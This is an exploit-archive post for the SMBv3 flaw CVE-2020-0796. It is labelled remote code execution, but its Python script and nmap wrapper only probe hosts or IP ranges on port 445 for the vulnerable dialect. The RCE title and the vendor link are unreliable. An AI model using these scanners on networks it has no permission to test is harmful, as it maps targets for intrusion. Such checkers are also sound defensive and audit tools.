Microsoft Windows SMB 3.1.1 Remote Code Execution

`# Exploit Title: Windows SMBv3 Client/Server Remote Code Execution  
Vulnerability - remote  
# Author: nu11secur1ty  
# Date: 2020-03-14  
# Vendor: https://smb.wsu.edu/  
# Link:  
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-0796  
# CVE: CVE-2020-0796  
  
  
  
[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)  
[+] Website: https://www.nu11secur1ty.com/  
[+] Source: readme from GitHUB  
[+] twitter.com/nu11secur1ty  
  
  
[Exploit Program Code]  
--------------------------------------  
import socket  
import struct  
import sys  
  
smbsuckmickey_mouse =  
b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00  
\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'  
sock = socket.socket(socket.AF_INET)  
sock.settimeout(3)  
sock.connect(( sys.argv[1], 445 ))  
sock.send(smbsuckmickey_mouse)  
  
nb, = struct.unpack(">I", sock.recv(4))  
res = sock.recv(nb)  
  
if not res[68:70] == b"\x11\x03":  
exit("Not vulnerable.")  
if not res[70:72] == b"\x02\x00":  
exit("Not vulnerable.")  
  
exit("Vulnerable.")  
  
--------------------------------------  
  
#!/usr/bin/bash  
if [ $# -eq 0 ]  
then  
echo $'Usage:\n\vulnsmb.sh TARGET_IP_or_CIDR'  
exit 1  
fi  
echo "Checking if there's SMB v3.11 in" $1 "..."  
nmap -p445 --script smb-protocols -Pn -n $1 | grep -P  
'\d+\.\d+\.\d+\.\d+|^\|.\s+3.11' | tr '\n' ' ' | replace 'Nmap scan report  
for' '@' | tr "@" "\n" | grep 3.11 | tr '|' ' ' | tr '_' ' ' | grep -oP  
'\d+\.\d+\.\d+\.\d+'  
if [[ $? != 0 ]]; then  
echo "There's no SMB v3.11"  
fi  
  
-------------------------------------  
  
[Vendor]  
Microsoft  
  
  
[Product]  
https://smb.wsu.edu/  
  
  
[Vulnerability Type]  
Remote + Layer 2  
  
  
  
[Security Issue]  
The security update addresses the vulnerability by correcting how the SMBv3  
protocol handles these specially crafted requests.  
  
  
[References]  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0796  
A remote code execution vulnerability exists in the way that the Microsoft  
Server Message Block 3.1.1 (SMBv3) protocol handles certain requests.  
An attacker who successfully exploited the vulnerability could gain the  
ability to execute code on the target server or client.  
To exploit the vulnerability against a server, an unauthenticated attacker  
could send a specially crafted packet to a targeted SMBv3 server.  
To exploit the vulnerability against a client, an unauthenticated attacker  
would need to configure a malicious SMBv3 server and convince a user to  
connect to it.  
The security update addresses the vulnerability by correcting how the SMBv3  
protocol handles these specially crafted requests.  
  
[Network Access]  
Remote + Layer 2  
  
  
[Disclosure Timeline]  
Published: 03/12/2020  
  
  
[+] Disclaimer  
The entry creation date may reflect when the CVE ID was allocated or  
reserved,  
and does not necessarily indicate when this vulnerability was discovered,  
shared  
with the affected vendor, publicly disclosed, or updated in CVE.  
  
--   
  
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
nu11secur1ty <http://nu11secur1ty.blogspot.com/>  
`